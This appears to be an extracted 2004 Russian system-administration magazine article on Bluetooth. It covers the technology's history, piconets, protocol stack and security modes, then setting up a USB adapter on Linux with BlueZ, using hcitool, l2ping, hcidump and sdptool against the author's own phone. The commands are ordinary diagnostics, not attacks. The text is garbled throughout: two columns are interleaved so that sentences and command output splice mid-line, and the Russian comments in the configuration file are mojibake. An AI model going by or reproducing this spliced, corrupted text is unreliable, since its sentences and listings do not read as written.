тайских подделок, – штука дорогая, к тому же при смене http://www.holtmann.org/linux/bluetooth/devices.html. В на-
модели телефона кабель становится для меня совершенно шем случае особое внимание стоит уделить разделу
бесполезен. Поэтому пришлось перейти ко второму вари- «Bluetooth USB adapters». Проанализировав прочитанное,
анту подключения – к использованию инфракрасной связи пришел к выводу, что самой выгодной покупкой по соот-
IrDA (Infrared Direct Access). Благо соответствующий функ- ношению цена-качество будет адаптер BT009X, произво-
ционал был встроен и в телефон, и в ноутбук. Но и тут не димый тайваньской фирмой Bluetake Technology. Куплен-
обошлось без недостатков. Во-первых, существует ограни- ное устройство выглядело изящно, миниатюрно и весило
чение по радиусу действия. Во-вторых, устойчивое взаи- примерно грамм 50. Не удержавшись, конечно разобрал
модействие устройств возможно только в зоне прямой ви- его, посмотрел, что внутри.
димости, что не очень легко выполнить на рабочем столе,
заваленном книгами и распечатками. К тому же глазки IrDA-
излучателей должны быть направлены строго друг на дру-
га и при этом желательно, чтобы приборы не двигались.
Следовать этим требованиям, конечно, возможно, но уж
слишком неудобно себя чувствуешь, да и мобильность ка-
кая-то ненастоящая получается.
Немного подумав, я пришел к выводу, что самым луч-
шим выходом из сложившейся ситуации будет использова-
ние Bluetooth. Телефон был готов к такому применению, а
вот с ноутбуком вышла промашка. На его корпусе среди

20
администрирование
Удовлетворив любопытство, самое время вернуться к На данный момент существуют два основных подвида
предмету нашего разговора. bluetooth-устройств. Отличаются они только дальностью
действия. Большинство имеют зону уверенного приема
сигнала радиусом в 10 метров. Хотя некоторые экземпля-
История появления Bluetooth ры обладают усилителем сигнала и способны взаимодей-
и механизмы его действия ствовать друг с другом на расстоянии 100 метров при ус-
Началось все примерно тысячу лет назад. В середине X века ловии, что все это будет происходить на открытой мест-
Данией правил король – викинг Гарольд I по прозвищу Си- ности.
ний зуб. Он провозгласил девиз «объединяйтесь все» и Еще одним интересным свойством такого способа об-
собственноручно стал осуществлять его. Благодаря стара- щения является возможность спонтанного1 объединения
ниям короля множество разрозненных княжеств объедини- нескольких bluetooth-устройств в своеобразную динами-
лись в сильное государство, завладевшее к тому же час- ческую локальную мини-сеть, называемую piconet. Давай-
тью земель Швеции и Норвегии. те разберемся, как это реализовано на практике. Устрой-
В 1994 году компания Ericsson задалась целью приду- ства, не присоединенные ни к одному piconet, находятся в
мать способ соединения различных устройств с помощью режиме Standby и каждые 1,28 секунды слушают эфир на
беспроводной связи. К началу 1997 года разработки, веду- 32 зарезервированных для этого частотах. Как только они
щиеся внутри фирмы, начали приносить первые результа- входят в зону устойчивой взаимной слышимости с другим
ты. Было принято решение о начале переговоров с осталь- устройством, одно из устройств принимает на себя гла-
ными крупными производителями телекоммуникационно- венствующую роль и начинает отсылать в эфир пакеты
го оборудования. Весной 1998 года компании Intel, IBM, Inquiry. После отправки 16 пакетов по одному на каждую
Nokia, Ericsson и Toshiba объявили о начале совместных частоту наступает пауза, в течение которой должны прий-
работ по созданию универсального стандарта коммуника- ти ответы от подчиненных устройств. Если никто не ото-
ций для бытовых устройств. В честь доблестного короля – звался, то проверяются оставшиеся 16 частот. Обнаруже-
объединителя викингов стандарт решено было назвать ние активных устройств зависит от того, в каком режиме
Bluetooth, а само содружество рабочих групп компаний по- они находятся:
лучило обозначение Bluetooth Special Interest Group (BSIG). ! Non-discoverable – не отвечает на запросы о присоеди-
Постепенно принять участие в начинании и присоединить- нении к piconet.
ся к BSIG решили Lucent, Motorola, Sun Microsystems, 3Com, ! Limited discoverable – в этом режиме находятся устрой-
Agere, Microsoft и многие другие производители разнород- ства, которые отвечают на запрос только в определен-
ного оборудования и программного обеспечения. На дан- ное время или при соблюдении некоторых условий.
ный момент ассоциация разработчиков Bluetooth насчиты- ! Discoverable mode – отвечает на все полученные запро-
вает более двух тысяч компаний разного масштаба и не- сы.
сколько десятков тысяч волонтеров, принимающих участие
в работе над проектом. На самом деле все обстоит еще сложнее. Вдобавок для
В сущности идея проекта довольно проста: необходимо того, чтобы присоединение к сети состоялось, устройство
стандартизировать механизмы соединения всех видов со- должно работать в режиме connectable. Если же оно нахо-
товых телефонов, компьютеров, наладонников, гарнитур дится в режиме non-connectable, то соседям, скорее всего,
hands-free и прочего движимого и недвижимого оборудо- удастся его обнаружить, но обмениваться данными с ним
вания. Добиться этого можно, если отделить механизмы будет невозможно.
реализации связи между устройствами от самих устройств. В случае если все необходимые формальности соблю-
Пусть проблемами общения занимаются миниатюрные ра- дены, устройство, инициировавшее обмен пакетами, ста-
диоинтерфейсы, встроенные в каждый прибор. Они рабо- новится ведущим (Master), а остальные принимают роль
тают на частоте 2,45 ГГц ISM (Industrial-Scientific-Medical). ведомых (Slave). При необходимости любое из ведомых
В большинстве стран для вещания в этом диапазоне не тре- устройств может запросить смену роли и стать мастером
буется дополнительного лицензирования. Исключением взамен прежнего лидера. В момент присоединения к
являются Франция, Испания и Япония. Диапазон частот от piconet каждое Slave-устройство получает от мастера FHS-
2,402 ГГц до 2,480 ГГц разбивается на 79 каналов разме- пакет, в котором содержится Global_ID, используемый для
ром в 1 МГц. Для уменьшения помех от внешних устройств определения номера шаблона прыжков по частотному ди-
вроде СВЧ-печей и повышения безопасности 1600 раз в апазону и параметр clock, указывающий смещение внут-
секунду происходит псевдослучайный выбор одного из ка- ри этого самого шаблона. Войдя в piconet, ведомое уст-
налов. Отправка данных происходит уже с новым значени- ройство получает трехбитный адрес AMA (Active Member
ем базовой частоты, взятым из выбранного интервала. Та- Adress), тем самым показывая, что оно готово к общению
ким образом, получается, что приемник и передатчик синх- с соседями. Мастер-устройство всегда имеет адрес 0. С
ронно переключают каналы связи. В англоязычной литера- помощью трех бит возможно адресовать не более восьми
туре это явление называется Frequency Hopping. устройств, таким образом, получается, что внутри piconet

1
Находящиеся рядом устройства слушают эфир и периодически «засыпают», затем снова «просыпаются» и пыта-
ются найти соседей. Поэтому точно до миллисекунды сказать, когда произойдет соединение, не представляется
возможным.

№10(23), октябрь 2004 21


администрирование
будут одновременно разговаривать только мастер и се-
меро подчиненных. Из-за этого в русскоязычных статьях
о bluetooth укоренилось одно из распространенных заб-
луждений, гласящее, что в piconet не может быть более
восьми устройств. Давайте посмотрим, почему это не со-
ответствует действительности. При входе в piconet девя-
того устройства мастер принудительно переводит одного
из подчиненных в режим Park и отбирает у него адрес AMA,
выдавая взамен восьми-битный адрес PMA (Passive Member
Adress). Освободившийся AMA-адрес отдается вновь при-
бывшему. Припаркованные устройства продолжают пери-
одически прослушивать эфир в надежде услышать инфор-
мацию, адресованную им. В случае если устройство с PMA-
адресом хочет что-то сказать, ему приходится спросить
разрешения у мастера, получить отобранный у кого-то
другого AMA-адрес и только после этого начать переда-
вать данные. Комбинация из AMA- и PMA-адресов позво-
ляет иметь в одном piconet 256 устройств, из которых лишь Все базируется на радиочастотных каналах, о которых
8 активно передают данные. Для экономии энергии мастер мы говорили выше по тексту, RF (Radio Frequnce). Канала-
может перевести любое из подчиненных устройств в режи- ми управляет аппаратура Baseband. Выше находится Link
мы Hold или Sniff, тем самым говоря: «Просыпайся каждые Manager, реализующий протокол LMP (Link Manager Protocol).
n интервалов». Разница между ними состоит в том, что в В его задачи входит управление каналом и реализация про-
режиме Hold устройство должно молчать между пробужде- цедур безопасности на физическом уровне. Следующим в
ниями, а в режиме Sniff в случае необходимости оно может иерархии числится L2CAP (Logical Link Control and Adaptation
передавать данные. В то же время само управляемое уст- Layer Protocol). Он является базовым транспортным прото-
ройство может запросить перевод в любой из вышеупомя- колом передачи данных. Большинство вышестоящих про-
нутых режимов. токолов пользуются его услугами для приема и отправки
Мини-сети легко могут сообщаться между собой через пакетов. Основные свойства L2CAP, на которые стоит об-
устройства, находящиеся в зоне действия двух и более се- ратить внимание:
тей. Таким образом, они объединяются в структуры, назы- ! Protocol Multiplexing – позволяет определить, кому из про-
ваемые Scatternet. Стоит отметить тот факт, что устройство токолов верхнего уровня предназначены те или иные
может быть мастером лишь в одном piconet, но это не ме- пакеты.
шает ему входить в другой piconet в роли подчиненного. ! Segmentation and Reassembly – максимальный размер
Примерную схему Scatternet, состоящую из трех piconet, пакета L2CAP установлен в 64 кб, а Baseband опериру-
можно увидеть на следующем рисунке. ет пакетами размером в 341 байт. Поэтому L2CAP от-
правителя обязан создавать из больших пакетов пос-
ледовательность мелких, а получатель в свою очередь
должен склеивать их по мере поступления.
! QOS – позволяет гарантировать, что ширина полосы и
временные задержки для важного трафика не достиг-
нут критических пределов.

Перейдем к протоколам верхнего уровня. Думаю, с TCP/IP


все ясно. Протокол HID реализует взаимодействие с уст-
ройствами Human Interface Design. К устройствам такого
типа принадлежат модификации клавиатур, мышей и про-
чего оборудования, с которым напрямую взаимодействую-
ет человек. RFCOMM эмулирует соединение точка-точка че-
рез интерфейс стандартного последовательного COM-пор-
та, передавая данные поверх L2CAP. Следующим интерес-
ным для нас протоколом является SDP (Service Discovery
Protocol). В его обязанности входит выполнение следующих
действий:
! Поиск и выбор сервисов, предоставляемых другими ус-
тройствами по специальным критериям.
! Поиск сервисов по классам. К примеру, если нам нужно
Разобравшись с тем, как строятся взаимоотношения найти устройство, предоставляющее сервис Dial-up
bluetooth-устройств на самом нижнем уровне, давайте по- networking, то поиск должен вернуть нам имена только
смотрим, как реализован стек протоколов. тех устройств, внутри которых есть модем.

22
администрирование
! Поддерживать базу данных доступных служб в актуаль- Bluetooth + Linux на практике
ном состоянии. Чтобы система смогла увидеть наше usb bluetooth-устрой-
ство, первым делом убеждаемся, что мы работаем на дос-
Еще одним объектом, заслуживающим нашего внимания таточно свежем ядре. У меня используется ALT Linux, вер-
является HCI (Host Controller Interface). Он представляет со- сия ядра 2.4.26-std-up-alt6. Давайте посмотрим, какой тип
бой командный интерфейс к контроллеру baseband и слою, контроллера USB у нас установлен.
реализующему Link Manager. С его помощью можно узна-
# lspci
вать и изменять состояние контрольных регистров bluetooth- 00:00.0 Host bridge: Intel Corp. 82845 845 (Brookdale)
устройств. Закончив с протоколами верхнего уровня, хоте- Chipset Host Bridge (rev 04)
00:01.0 PCI bridge: Intel Corp. 82845 845 (Brookdale)
лось бы поговорить о службе audio, часто называемой Chipset AGP Bridge (rev 04)
bluetooth voice. С ее помощью могут одновременно переда- 00:1d.0 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #1 (rev 03)
ваться три голосовых потока. Характеристики каждого из них 00:1d.1 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #2 (rev 03)
00:1d.2 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #3 (rev 03)
определяются приложением, передающим данные. Макси- 00:1d.7 USB Controller: Intel Corp. 82801DB (ICH4)
мальное возможное качество звука достигается при часто- USB2 EHCI Controller (rev 03)
00:1e.0 PCI bridge: Intel Corp. 82801BAM/CAM PCI Bridge (rev 83)
те дискретизации в 48 кГц. На схеме от компонента audio 00:1f.0 ISA bridge: Intel Corp. 82801DBM LPC Interface Controller (rev 03)
не зря исходят две стрелки. Дело в том, что звук может пе- 00:1f.1 IDE interface: Intel Corp. 82801DBM (ICH4)
редаваться либо напрямую через Baseband, либо, как и все Ultra ATA Storage Controller (rev 03)
00:1f.3 SMBus: Intel Corp. 82801DB/DBM (ICH4)
остальные данные, через L2CAP. Конечно, в случае пере- SMBus Controller (rev 03)
дачи голоса через L2CAP устройство получает меньше воз- 00:1f.5 Multimedia audio controller: Intel Corp. 82801DB (ICH4)
AC'97 Audio Controller (rev 03)
можностей управлять голосовым трафиком, но такой под- 00:1f.6 Modem: Intel Corp. 82801DB (ICH4)
ход позволяет легко стыковать bluetooth- и не bluetooth-сети. AC'97 Modem Controller (rev 03)
01:00.0 VGA compatible controller: ATI Technologies Inc
Плюс ко всему появляется возможность шифровать голо- Radeon R250 Lf [Radeon Mobility 9000 M9] (rev 02)
совой трафик алгоритмами повышенной стойкости. 02:03.0 CardBus bridge: Ricoh Co Ltd RL5c475 (rev b8)
Раз уж зашел разговор о шифровании, стоит погово- 02:03.1 FireWire (IEEE 1394): Ricoh Co Ltd R5C551 IEEE 1394 Controller
02:07.0 CardBus bridge: Texas Instruments PCI1410
рить о системе безопасности, применяемой в устройствах PC card Cardbus Controller (rev 01)
bluetooth. Технология защиты данных изначально встроена 02:08.0 Ethernet controller: Intel Corp. 82801BD PRO/100 VE (LOM)
Ethernet Controller (rev 83)
в протокол. В зависимости от ценности передаваемых дан-
ных можно применять один из трех режимов безопасности. Судя по выводу, у нас есть UHCI- и EHCI-контроллеры
! Security mode 1 (non secure) – устройство не иницииру- USB. Проверяем, что написано про USB в /etc/modules, сре-
ет никаких защитных процедур и полностью открыто для ди всего прочего там должны быть строки:
общения.
! Security mode 2 (service level enforced security) – защит- usbcore
usb-uhci
ные процедуры выполняются только после установле-
ния и настройки параметров соединения. Требования А в файле /etc/modules.conf нужно найти следующее
безопасности в данном случае определяют службы, пе- сочетание символов:
редающие трафик.
! Security mode 3 (link level enforced security) – защита ини- alias usb-interface usb-uhci
циализируется в процессе установления и настройки со-
единения. В случае если второе устройство не может Теперь необходимо убедиться в том, что все модули,
выполнить требования безопасности, соединение бес- необходимые для поддержки USB, загружены в память.
прекословно разрывается.
lsmod | grep usb
hci_usb 8600 1
Стоит обратить внимание на то, что второй и третий usb-storage 139744 0
режимы можно комбинировать, обеспечивая повышенную usb-uhci 21676 0 (unused)
usbcore 58464 1 [hci_usb ehci-hcd usb-storage usb-uhci]
безопасность соединения. Получается, что сначала уста- scsi_mod 95296 5 [sg sr_mod sd_mod usb-storage ide-scsi]
навливается защищенное соединение, а затем данные,
передаваемые по нему, шифруются в соответствии с тре- Если это не так, то следует перезагрузить систему, что-
бованиями сервисов отправителя и получателя. бы загрузка нужных модулей прошла автоматически на ос-
Краеугольным камнем системы безопасности bluetooth нове содержимого файлов /etc/modules и /etc/modules.conf,
является сеансный ключ. Он создается в момент соедине- либо загрузить модули вручную с помощью команды insmod.
ния и впоследствии используется для шифрования и иден- Подробнее почитать о реализации USB в Linux можно в
тификации всего передаваемого трафика. Впрочем, никто статье Виктора Костромина http://vikos.lrn.ru//kos.php?name=
не мешает дополнительно шифровать трафик на уровне papers/usb/USB-Lin.html и, конечно же, на сайте www.linux-
приложений. usb.org.
Несмотря на попытку рассказывать только о ключевых Тут нужно сделать маленькое отступление. Дело в том,
моментах, оставляя несущественные подробности за бор- на свете существует несколько реализаций стека протоко-
том, я, признаться, немного устал излагать теорию работы лов bluetooth. Самые распространенные из них – это OpenBT,
bluetooth. Посему предлагаю сейчас же перейти к практи- первоначально созданный фирмой Axis: http://developer.
ческому применению полученных знаний. axis.com/software/bluetooth и Bluez – детище Qualcom http://

№10(23), октябрь 2004 23


администрирование
bluez.sourceforge.net. Оба поставляются вместе с исходни- Стоит отметить, что каждое bluetooth-устройство имеет
ками. Некоторое время назад безусловным лидером являл- уникальный шестизначный адрес, в дальнейшем называе-
ся OpenBT, потому что его реализация на тот момент была мый BD (Bluetooth Device)-адрес. Больше все это похоже на
надежнее и проще. Да и возможности работы с BCSP были MAC-адреса обычных сетевых карт.
весьма мощные. Но по мере дозревания Bluez стал дого- Проверяем, как система видит наш USB-адаптер.
нять, а затем и превзошел OpenBT по всем показателям. # hciconfig -a
Отдельного упоминания стоит удобство и гибкость исполь- hci0: Type: USB
зования PAN (Personal Area Network). К тому же Bluez по- BD Address: 00:00:00:00:00:00 ACL MTU: 0:0 SCO MTU: 0:0
DOWN
зволяет легко работать с протоколом OBEX поверх RFCOMM. RX bytes:0 acl:0 sco:0 events:0 errors:0
В деле популяризации Bluez не последнюю роль сыграл тот TX bytes:0 acl:0 sco:0 commands:0 errors:0
Features: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
факт, что он по умолчанию включен во все новые ядра Linux. Packet type: DM1 DH1 HV1
К тому же алгоритмы работы с RFCOMM у Bluez оказались Link policy:
написаны на редкость удачно, что позволило создавать Link mode: SLAVE ACCEPT
весьма гибкие решения. Надпись «DOWN» и BD-адрес, полный нолей, говорят о
Также стоит упомянуть, что в природе существуют про- том, что в системе не запущен демон hcid (Bluetooth Host
граммные комплексы BlueDrekar от IBM: http://www.alpha Controller Interface Daemon). Поведение демона определя-
Works.ibm.com/tech/bluedrekar и Affix от Nokia http://affix. ется настройками, обычно находящимися в файле /etc/
sourceforge.net/. Внутри первого из них встроена полноцен- bluetooth/hcid.conf. Давайте посмотрим, как выглядит содер-
ная реализация bluetooth, но, к сожалению, исходных тек- жимое этого файла, и разберемся, что именно означает
стов этого продукта никто не видел. А вот вторая разра- каждая опция. Файл /etc/bluetooth/hcid.conf:
ботка, изначально развивавшаяся под эгидой компании
Nokia, на данный момент является типичным OpenSource. options {
# Àâòîìàòè÷åñêè èíèöèàëèçèðîâàòü íîâûå óñòðîéñòâà
Приняв во внимание все вышеизложенные факты, де- #
лаем однозначный вывод. Для работы с нашими bluetooth- autoinit yes;
устройствами удобнее всего будет использовать Bluez. # Íàñòðîéêè ìåíåäæåðà áåçîïàñíîñòè:
Настало время установить пакеты, необходимые для # none – ìåíåäæåð îòêëþ÷åí;
# auto – ïðè ïîëó÷åíèè âõîäÿùåãî ñîåäèíåíèÿ çàïðàøèâàòü
работы bluetooth. # PIN-êîä;
# user – çàïðàøèâàòü PIN-êîä âñåõ ñîåäèíåíèé
# apt-get install libbluez libbluez-devel ↵ # áåç èñêëþ÷åíèÿ
bluez-hciemu bluez-hcidump bluez-utils #
security auto;
Смотрим, что добавилось в /etc/modules.conf: # Íàñòðîéêè ñîåäèíåíèÿ â ïàðó:
# none – ñîåäèíåíèå îòêëþ÷åíî;
# multi – ðàçðåøåíèå ñîçäàâàòü ïàðó ñ òåìè óñòðîéñòâàìè,
alias net-pf-31 bluez # êîòîðûå óæå ñîñòîÿò â äðóãèõ ïàðàõ;
alias bt-proto-0 l2cap # once – ïðîèçâîäèòü ïîïûòêó ñîåäèíåíèÿ òîëüêî îäèí ðàç
alias bt-proto-2 sco #
pairing multi;
Перезагружаем машину, чтобы проверить, как автома-
# Ïðîãðàììà, ïðèíèìàþùàÿ PIN-êîä îò ïîëüçîâàòåëÿ è
тически загружаются модули bluez. Конечно, можно было # ïåðåäàþùàÿ åãî óäàëåííîìó bluetooth-óñòðîéñòâó,
загрузить их вручную с помощью modprobe и imsmod, но # îáû÷íî íàçûâàåòñÿ pin_helper.
#
мне больше нравится, чтобы все делалось автоматически. pin_helper /usr/bin/bluepin;
После окончания загрузки системы проверяем, как себя
# Èìÿ ïðîãðàììû, âûäàþùåé PIN äëÿ ðåæèìà D-Bus,
чувствует модуль bluez. # êàê âèäèòå, â íàøåì ñëó÷àå îíà íå èñïîëüçóåòñÿ
#
# lsmod | grep bluez #dbus_pin_helper;
bluez 30116 1 [hci_usb]
}
# Íàñòðîéêè ïî óìîë÷àíèþ äëÿ âñåõ HCI-óñòðîéñòâ
Затем вставляем bluetooth-адаптер в разъем USB. В device {
файле /var/log/messages и на двенадцатой консоли должны # Èìÿ ëîêàëüíîãî bluetooth-óñòðîéñòâà â ïðèíöèïå ìîæåò
# áûòü ëþáûì, õîòÿ, êîíå÷íî, ëó÷øå âïèñàòü ÷òî-òî
появиться следующие сообщения: # îñìûñëåííîå.  êà÷åñòâå íåîáÿçàòåëüíîãî äîïîëíåíèÿ
# ìîæíî âïèñàòü â òåêñò èìåíè ñèìâîëû ïîäñòàíîâêè.
# %d – id óñòðîéñòâà
Sep 28 21:23:19 tiger kernel: hub.c: new USB device 00:1d.0-1, # %h – èìÿ õîñòà
assigned address 2 # Íàïðèìåð, òàêàÿ çàïèñü name "Bluetooth (%h)" â ìîåé
Sep 28 21:23:24 tiger kernel: BlueZ Core ver 2.3 # ñèñòåìå ñîçäàñò èìÿ óñòðîéñòâà «Bluetooth tiger».
Copyright (C) 2000,2001 Qualcomm Inc #  ñëó÷àå åñëè èìÿ õîñòà ñëèøêîì äëèííîå, ïîäñòàíîâêà
Sep 28 21:23:24 tiger kernel: Written 2000,2001 # ìîæåò íå ïðîèçâîäèòüñÿ. Ñîîòâåòñòâåííî, ïîëó÷èì ïðîñòî
by Maxim Krasnyansky <maxk@qualcomm.com> # «Bluetooth».
Sep 28 21:23:24 tiger kernel: BlueZ HCI USB driver ver 2.5 #
Copyright (C) 2000,2001 Qualcomm Inc name "tigroid";
Sep 28 21:23:24 tiger kernel: Written 2000,2001
by Maxim Krasnyansky <maxk@qualcomm.com> # Êëàññ ëîêàëüíîãî óñòðîéñòâà.
Sep 28 21:23:24 tiger kernel: usb.c: registered new driver hci_usb # 0x100 îáîçíà÷àåò êîìïüþòåð.

2
Подробнее о типах пакетов можно прочитать здесь: http://www.winlab.rutgers.edu/~pravin/publications/papers/Mobicom-
handout.pdf и http://www.cs.ucla.edu/NRL/wireless/uploads/04_ICC_APT.pdf.

24
администрирование
# Указанием на то, что телефон включил bluetooth, мож-
class 0x100; но считать появление в верхнем левом углу дисплея знач-
# Òèï ïàêåòîâ ïî óìîë÷àíèþ. ка, изображающего радиоволны.
# Îáû÷íî ðàçðåøåíû âñå âîçìîæíûå òèïû2. С помощью утилиты hcitool начинаем сканирование ок-
# DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
#pkt_type DH1, DM1, HV1; ружающего пространства.
# Ðàçðåøåíèå íà ñêàíèðîâàíèå óñòðîéñòâ ìåòîäàìè Inquiry # hcitool scan
# è Page Scanning ...
# 00:02:EE:B6:6A:E5 Nokia 6310i
iscan enable;
pscan enable; Наш телефон благополучно нашелся. Теперь мы знаем,
# Ðåæèì ñîåäèíåíèÿ ïî óìîë÷àíèþ
что его BD-адрес 00:02:EE:B6:6A:E5. В дальнейшем мы будем
# none – íå èñïîëüçîâàòü íèêàêèõ ïîëèòèê äëÿ ñîåäèíåíèÿ обращаться к нему именно по этому адресу. Проверим, на-
# accept – âñåãäà ïðèíèìàòü âõîäÿùèå ñîåäèíåíèÿ сколько надежно работает передача пакетов между двумя
# master – áðàòü íà ñåáÿ ðîëü âåäóùåãî óñòðîéñòâà ïðè
# ïîëó÷åíèè âõîäÿùåãî ñîåäèíåíèÿ, è çàïðåùàòü ñìåíó устройствами. Для этого воспользуемся программой l2ping.
# ðîëåé äëÿ èñõîäÿùèõ ñîåäèíåíèé.
# # l2ping 00:02:EE:B6:6A:E5
lm accept, master; Ping: 00:02:EE:B6:6A:E5 from 00:0A:3A:53:36:41 (data size 20) ...
0 bytes from 00:02:EE:B6:6A:E5 id 200 time 31.69ms
# Ïîëèòèêà ñîåäèíåíèÿ ïî óìîë÷àíèþ 0 bytes from 00:02:EE:B6:6A:E5 id 201 time 39.49ms
# none – íå èñïîëüçîâàòü íèêàêèõ ïîëèòèê äëÿ ñîåäèíåíèÿ 0 bytes from 00:02:EE:B6:6A:E5 id 202 time 30.31ms
# rswitch – ðàçðåøèòü ñìåíó ðîëåé
0 bytes from 00:02:EE:B6:6A:E5 id 203 time 34.12ms
# hold – ðàçðåøèòü ðåæèì hold
# sniff – ðàçðåøèòü ðåæèì sniff 4 sent, 4 received, 0% loss
# park – ðàçðåøèòü ïàðêîâêó Теперь посмотрим дополнительную информацию об уда-
#
lp rswitch, hold, sniff, park; ленном устройстве.
# Àóòåíòèôèêàöèÿ è øèôðîâàíèå # hcitool info 00:02:EE:B6:6A:E5
auth enable; Requesting information ...
encrypt enable; BD Address: 00:02:EE:B6:6A:E5
} Device Name: Nokia 6310i
LMP Version: 1.1 (0x1) LMP Subversion: 0x22c
Закончив изучение настроек, запускаем демон hcid и Manufacturer: Nokia Mobile Phones (1)
Features: 0xbf 0x28 0x21 0x00 0x00 0x00 0x00 0x00
смотрим, как изменились характеристики USB bluetooth- <3-slot packets> <5-slot packets> <encryption> <slot offset>
адаптера. <timing accuracy> <role switch> <sniff mode> <SCO link>
<HV3 packets> <CVSD>Õ
# hcid
# hciconfig -a
В комплект программ, предназначенных для работы с
hci0: Type: USB HCI, входит еще одна полезная программа, hcidump. Думаю,
BD Address: 00:0A:3A:53:36:41 ACL MTU: 192:8 SCO MTU: 64:8
UP RUNNING PSCAN ISCAN AUTH ENCRYPT
по ее названию вы смогли догадаться, что перед нами ути-
RX bytes:2947 acl:80 sco:0 events:149 errors:0 лита для прослушивания трафика, проходящего через HCI-
TX bytes:2610 acl:59 sco:0 commands:61 errors:0 интерфейсы. Эта программа становится особенно полез-
Features: 0xff 0xff 0x0b 0x00 0x00 0x00 0x00 0x00
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 ной в ситуациях, когда не удается подружить два bluetooth-
Link policy: RSWITCH устройства. К примеру, давайте посмотрим, какие данные
Link mode: SLAVE ACCEPT
Name: 'tigroid' проходят через используемый нами интерфейс hci0 во вре-
Class: 0x000100 мя выполнения команды hcitool info. Для этого на одной кон-
Service Classes: Unspecified
Device Class: Computer, Uncategorized соли запускаем hcidump, а на второй снова выполняем ко-
HCI Ver: 1.1 (0x1) HCI Rev: 0x20d LMP Ver: 1.1 (0x1) LMP Subver: 0x20d манду hcitool info.
Manufacturer: Cambridge Silicon Radio (10)

Судя по выводу, все идет как надо. Локальное bluetooth- # hcidump –i hci0 -X
HCIDump - HCI packet analyzer ver 1.12
устройство получило BD-адрес 00:0A:3A:53:36:41. Давайте device: hci0 snap_len: 1028 filter: 0xffffffff
теперь поищем удаленные bluetooth-устройства. Для этого > HCI Event: Command Status (0x0f) plen 4
0000: 00 01 05 04 ....
включаем bluetooth на телефоне. > HCI Event: Command Complete (0x0e) plen 10
0000: 01 0b 04 00 e5 6a b6 ee 02 00 .....j....
> HCI Event: Connect Complete (0x03) plen 11
0000: 00 29 00 e5 6a b6 ee 02 00 01 01 .)..j......
> HCI Event: Command Complete (0x0e) plen 6
0000: 01 0d 08 00 29 00 ....).
> HCI Event: Command Status (0x0f) plen 4
0000: 00 01 19 04 ....
> HCI Event: Remote Name Req Complete (0x07) plen 255
0000: 00 e5 6a b6 ee 02 00 4e 6f 6b 69 61 20 36 33 31 ..j....Nokia 631
0010: 30 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0i..............
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

№10(23), октябрь 2004 25


администрирование
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Service Class ID List:
00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ "Headset Audio Gateway" (0x1112)
00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ "Generic Audio" (0x1203)
00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Protocol Descriptor List:
00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............... "L2CAP" (0x0100)
> HCI Event: Command Status (0x0f) plen 4 "RFCOMM" (0x0003)
0000: 00 01 1d 04 .... Channel: 12
> HCI Event: Read Remote Ver Info Complete (0x0c) plen 8 Language Base Attr List:
0000: 00 29 00 01 01 00 2c 02 .)....,. code_ISO639: 0x656e
> HCI Event: Command Status (0x0f) plen 4 encoding: 0x6a
0000: 00 01 1b 04 .... base_offset: 0x100
> HCI Event: Read Remote Supported Features (0x0b) plen 11 Profile Descriptor List:
0000: 00 29 00 bf 28 21 00 00 00 00 00 .)..(!..... "Headset" (0x1108)
> HCI Event: Command Status (0x0f) plen 4 Version: 0x0100
0000: 00 01 06 04 ....
> HCI Event: Disconn Complete (0x05) plen 4 Service Name: COM 1
0000: 00 29 00 16 .).. Service RecHandle: 0x10021
> HCI Event: Command Status (0x0f) plen 4 Service Class ID List:
> HCI Event: Read Remote Supported Features (0x0b) plen 11 "Serial Port" (0x1101)
> HCI Event: Command Status (0x0f) plen 4 Protocol Descriptor List:
> HCI Event: Disconn Complete (0x05) plen 4 "L2CAP" (0x0100)
"RFCOMM" (0x0003)
С помощью ключа –i можно указать, какой именно ин- Channel: 3
Language Base Attr List:
терфейс нужно прослушивать. В нашем случае это hci0. code_ISO639: 0x656e
Делать это необходимо только в системах с двумя и более encoding: 0x6a
base_offset: 0x100
hci-интерфейсами. В противном случае hcidump будет про-
слушивать первый по порядку интерфейс. Service Name: Voice Gateway
Как говорил один известный персонаж, «Все ходы у нас Service RecHandle: 0x10022
Service Class ID List:
записаны». И в случае чего можно будет запросто занять- "" (0x111f)
ся отладкой неработающего соединения. "Generic Audio" (0x1203)
Protocol Descriptor List:
Теперь было бы интересно узнать, какие сервисы Nokia "L2CAP" (0x0100)
6310i может нам предоставить. Для этого на компьютере "RFCOMM" (0x0003)
должен работать sdp-демон, который реализует протокол Channel: 13
Language Base Attr List:
Service Discovery Protocol. А вслед за ним необходимо за- code_ISO639: 0x656e
пустить утилиту sdptool, получающую данные от демона и encoding: 0x6a
base_offset: 0x100
показывающую их пользователю. Profile Descriptor List:
"" (0x111e)
# sdpd Version: 0x0100
# sdptool browse 00:02:EE:B6:6A:E5
Browsing 00:02:EE:B6:6A:E5 ... Service Name: Dial-up networking
Service Name: Fax Service RecHandle: 0x10027
Service RecHandle: 0x1001e Service Class ID List:
Service Class ID List: "Dialup Networking" (0x1103)
"Fax" (0x1111) "Generic Networking" (0x1201)
"Generic Telephony" (0x1204) Protocol Descriptor List:
Protocol Descriptor List: "L2CAP" (0x0100)
